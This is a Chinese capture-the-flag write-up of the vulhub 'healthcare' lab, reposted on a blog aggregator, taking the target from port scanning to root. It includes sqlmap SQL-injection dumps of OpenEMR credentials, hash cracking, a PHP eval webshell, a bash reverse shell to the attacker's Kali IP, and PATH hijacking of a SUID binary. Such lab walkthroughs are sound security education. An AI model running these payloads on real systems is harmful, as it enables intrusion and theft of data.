vulhub打靶记录——healthcare

文章目录

  • 主机发现
  • 端口扫描
  • FTP—21
    • search ProPFTd EXP
    • FTP 匿名用户登录
  • web服务—80
    • 目录扫描
    • search openemr exp
    • 登录openEMR 后台
  • 提权
  • 总结

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

netdiscover -i eth0 -r 192.168.151.0/24

在这里插入图片描述

  • 192.168.151.1:主机IP;
  • 192.168.151.2:DHCP服务器IP;
  • 192.168.151.3:靶机IP;
  • 192.168.151.4:Kali IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.151.3 

在这里插入图片描述
可见这台靶机,开放了端口:21(ftp,文件传输协议))、80(http,web服务)。

FTP—21

search ProPFTd EXP

searchsploit proPTFd # 搜索exp

尝试了1.3.3c和1.3.5的EXP,均失败。

在这里插入图片描述

FTP 匿名用户登录

尝试匿名用户登录ftp服务器:

ftp 192.168.151.3# 用户名为anonymous 密码为空

在这里插入图片描述
发现登录失败,该FTP服务器不允许匿名登录。

web服务—80

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.151.3 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

访问192.168.151.3/openemr,发现了一个后台登录程序,版本号为openEMR v4.1.0

在这里插入图片描述

search openemr exp

searchsploit openemr  # 搜索exp

在这里插入图片描述
发现该版本的openEMR存在sql注入。

searchsploit -m 49742.py # 将漏洞数据库中的exp复制到当前目录下,避免改数据库中的数据。
vim 49742.py # 更改url路径
python 49742.py # 执行

在这里插入图片描述
在这里插入图片描述
最终可以拿到后台登录用户名与密码,但是密码是经过MD5加密后的结果。同时存在sql注入漏洞的url为:http://192.168.151.3/openemr/interface/login/validateUser.php?u=1。基于改url,也可以直接用sqlmap,命令如下:

sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' # 判断是否存在sql注入
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' --dbs # 查询当前用户下的所有数据库,存在information_schema、openemr、test三个数据库
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr --tables # 获取数据库中的表名 ,users表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users --columns # 获取表中的字段名,username,password表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users -C username,password --dump # 获取字段内容

在这里插入图片描述
破解数据库密码
脚本拿到数据库密码后如何破解呢?用john the ripper

touch pw.txt
echo '' >> pw.txt # >>:代表换行追加
hashid '' # hashid判断密文可能使用的加密算法
john pw.txt

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

要看具体哪个密文对应哪个密码,看.john/john.pot

获取用户名、密码:

admin ackbar
medical medical

登录openEMR 后台

拿到后台用户名和密码,直接登录
在这里插入图片描述
administered->file处发现一个文件上传点,经过测试不允许上传.php文件。
在这里插入图片描述
查看web服务的中间件版本,是apache 2.2.17,这个版本是存在多后缀名解析漏洞的。就是说我们可以上传shell.php.来绕过文件后缀检测。上传的文件最终保存路径就在http://192.168.151.3/openemr/sites/default/images下。

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

<?php @eval($_GET['cmd']);?> # 上传文件内容
http://192.168.151.3/openemr/sites/default/images/shell.php.?cmd=system('bash -i >& /dev/tcp/192.168.151.4/443 0>&1'); # 数据包cookie需要是admin用户的,后门需要经过url编码。

最终的话可以拿到reverse shell。
在这里插入图片描述

提权

python -c 'import pty;pty.spawn("/bin/bash")' # 建立一个半交互式shell
find / -perm -u=s -type f 2>/dev/null # 搜索具备SUID属性的程序

这里发现/usr/bin/healthcheck这个命令肯定不是系统自带的,且具备SUID属性。
在这里插入图片描述
cat /usr/bin/healthcheck,出现乱码,说明是二进制程序。
在这里插入图片描述

也可以用file /usr/bin/healthcheck,查看文件属性。
在这里插入图片描述

strings /usr/bin/healthcheck查看文件中可打印的字符,从结果可以看出,该程序会执行sleep2; ifconfig; fdisk -l; du -h这些shell命令。思路:如果ifconfig命令被重定向为其他程序(比如包含/bin/bash),就可以拿到root用户的shell。
在这里插入图片描述
/tmp目录,任何用户都写读写权限。

touch ifconfig # 常见ifconfig文件
chmod +x ifconfig # 给予可执行权限
echo '/bin/bash' > ifconfig # 写入内容
export PATH=/tmp:$PATH # 修改系统环境变量,后面的$PATH是系统默认的路径
/usr/bin/healthcheck # 不用bash /usr/bin/healthcheck

$PATH变量的值是一系列用冒号分隔的目录路径。例如:

$PATH = /usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin 

在这个例子中,系统将按照指定的顺序搜索/usr/local/bin、/usr/bin、/bin、/usr/local/sbin、/usr/sbin和/sbin这几个目录。

在这里插入图片描述
在这里插入图片描述

总结

  1. 端口扫描发现开放的端口;
  2. 目录扫描发现web网站的上下文,但是需要合适的字典;
  3. 发现openemr有漏洞,找到exp直接获取数据库密码;
  4. 通过获得的密码,登录网站后台,然后找到文件上传点,结合apache解析漏洞获取reverse shell;
  5. 寻找SUID程序/usr/bin/healthcheckstrings打印可打印字符,发现执行ifconfig,更改系统环境变量,执行ifconfig时优先执行伪造的ifconfig。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/789070.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

适配器模式:桥接不兼容的接口

在软件开发中&#xff0c;我们经常会遇到需要将现有的类与新的系统或客户端集成的情况&#xff0c;但这些类可能因为接口不兼容而无法直接使用。适配器模式&#xff08;Adapter Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许不兼容的接口之间能够相互协作&#x…

css预编译sass,css也可以变得优雅

1. 嵌套选择器 #content {article {h1 { color: #333 }p { margin-bottom: 1.4em }}aside { background-color: #EEE } }编译后 #content article h1 { color: #333 } #content article p { margin-bottom: 1.4em } #content aside { background-color: #EEE }2. 变量声明和使…

力扣贪心算法--第一天

前言 今天是贪心算法的第一天&#xff0c;算法之路重新开始&#xff01; 内容 之前没了解过贪心算法。 什么是贪心 贪心的本质是选择每一阶段的局部最优&#xff0c;从而达到全局最优。难点就是如何通过局部最优&#xff0c;推出整体最优。 一、455.分发饼干 假设你是一…

题目:学习static定义静态变量的用法

题目&#xff1a;学习static定义静态变量的用法    There is no nutrition in the blog content. After reading it, you will not only suffer from malnutrition, but also impotence. The blog content is all parallel goods. Those who are worried about being cheate…

JS中的运算符

1.&& 逻辑与 &&会从左到右执行表达式&#xff0c;直到某个表达式的运行结果返回false,如果全部为true,则返回最后一个中表达式的执行结果 console.log(1 && 2) // 2 console.log(1&&10&&15) // 15 console.log(1&&0&&am…

Android的图片加载框架

Android的图片加载框架 为什么要使用图片加载框架&#xff1f;图片加载框架1. Universal Image Loader [https://github.com/nostra13/Android-Universal-Image-Loader](https://github.com/nostra13/Android-Universal-Image-Loader)2. Glide [https://muyangmin.github.io/gl…

每日一题 --- 用栈实现队列[力扣][Go]

用栈实现队列 题目&#xff1a;用栈实现队列 请你仅使用两个栈实现先入先出队列。队列应当支持一般队列支持的所有操作&#xff08;push、pop、peek、empty&#xff09;&#xff1a; 实现 MyQueue 类&#xff1a; void push(int x) 将元素 x 推到队列的末尾int pop() 从队列…

MySQL的多层SP中Cursor的m_max_cursor_index相关BUG分析

源码分析丨MySQL的多层SP中Cursor相关BUG 一、问题发现 在一次开发中在sp中使用多层cursor的时候想知道每层的m_max_cursor_index值分别是多少&#xff0c;以用来做后续开发。于是做了以下的试验&#xff0c;但是发现第一个level2那层的m_max_cursor_index的值有点问题。 注&…

威胁建模与网络安全测试方法

文章目录 1.软件安全的开发背景1.1软件发展与安全问题系统软件问题应用软件问题第三方代码安全新技术安全1.2 软件安全问题产生的原因1.3 漏洞修复的成本运行阶段发布阶段测试阶段研发阶段2.常见的软件安全开发方法2.1 开发方法2.2 什么是SDL2.3 微软SDL发展历史2.4 微软SDL安全…

CentOS 7上安装Docker和Docker-Compose的步骤

在本文中&#xff0c;我们将详细介绍如何在CentOS 7上安装Docker Community Edition (CE) 和 Docker Compose。Docker是一个开放源码的应用容器引擎&#xff0c;允许开发者打包他们的应用及其依赖包到一个可移植的容器中&#xff0c;然后发布到任何流行的Linux机器上&#xff0…

基于SpringBoot和Vue的房产销售系统的设计与实现

今天要和大家聊的是一款基于SpringBoot和Vue的房产销售系统的设计与实现 &#xff01;&#xff01;&#xff01; 有需要的小伙伴可以通过文章末尾名片咨询我哦&#xff01;&#xff01;&#xff01; &#x1f495;&#x1f495;作者&#xff1a;李同学 &#x1f495;&#x1f…

【Spring实战项目】SpringBoot3整合WebSocket+拦截器实现登录验证!从原理到实战

&#x1f389;&#x1f389;欢迎光临&#xff0c;终于等到你啦&#x1f389;&#x1f389; &#x1f3c5;我是苏泽&#xff0c;一位对技术充满热情的探索者和分享者。&#x1f680;&#x1f680; &#x1f31f;持续更新的专栏《Spring 狂野之旅&#xff1a;从入门到入魔》 &a…

前端|babel升级

问题 项目不支持可选链调用过多的 babel 插件 步骤 基础包 dependencies “react-scripts”: “5.0.1” devDependencies “customize-cra”: “^1.0.0”,“react-app-rewired”: “^2.2.1”, 框架包 dependencies “react”: “16.13.1”,“react-dom”: “16.13.1”, …

MySQL-linux安装-万能RPM法

一、MySQL的Linux版安装 1、 CentOS7下检查MySQL依赖 1. 检查/tmp临时目录权限&#xff08;必不可少&#xff09; 由于mysql安装过程中&#xff0c;会通过mysql用户在/tmp目录下新建tmp_db文件&#xff0c;所以请给/tmp较大的权限。执行 &#xff1a; chmod -R 777 /tmp2. …

Aurora8b10b(2)上板验证

文章目录 前言一、AXI_Stream数据产生模块二、上板效果总结 前言 上一篇内容我们已经详细介绍了基于aurora8b10b IP核的设计&#xff0c;本文将基于此进一步完善并且进行上板验证。 设计思路及代码思路参考FPGA奇哥系列网课 一、AXI_Stream数据产生模块 AXIS协议是非常简单的…

Boost之Log: (3)、简单封装

设计目标: 1、每个Logging source对应一个目录&#xff0c;可以设置日志文件数&#xff0c;日志大小&#xff0c;目录名&#xff0c;文件名等 2、所有logging source日志目录都在一个根目录下。 3、可以动态创建和删除logging source 4、打印出日期时间和日志严重等级 示例代码…

前端试题2#记录

1、介绍以下CSS的盒子模型 盒子模型分为两种&#xff1a; &#xff08;1&#xff09;第一种是W3c标准的盒子模型&#xff08;标准盒模型&#xff09; width和height&#xff1a;内容的宽度、高度&#xff08;不是盒子的宽度、高度&#xff09;。padding&#xff1a;内边距。…

Java常用API之Collections类解读

写在开头&#xff1a;本文用于作者学习Java常用API 我将官方文档中Collections类中所有API全测了一遍并打印了结果&#xff0c;日拱一卒&#xff0c;常看常新 addAll() 将所有指定元素添加到指定 collection 中 可以添加一个或多个元素 Testpublic void test_addAl…

HarmonyOS入门-ArkTS学习(一)

1. 什么是ArkTS语言 学习之前&#xff0c;我们先初步了解下什么是ArkTS 官方指南这样介绍&#xff1a; ArkTS是TS的超集&#xff0c;ArkTS定义了声明式UI描述、自定义组件和动态扩展UI元素的能力&#xff0c;再配合ArkUI开发框架中的系统组件及其相关的事件方法、属性方法等共…

2024.2.26力扣每日一题——二叉搜索树的范围和

2024.2.26 题目来源我的题解方法一 深度搜索&#xff08;中序遍历&#xff09;方法二 广度搜索&#xff08;层序遍历&#xff09; 题目来源 力扣每日一题&#xff1b;题序&#xff1a;938 我的题解 方法一 深度搜索&#xff08;中序遍历&#xff09; 利用二叉搜索树中序遍历…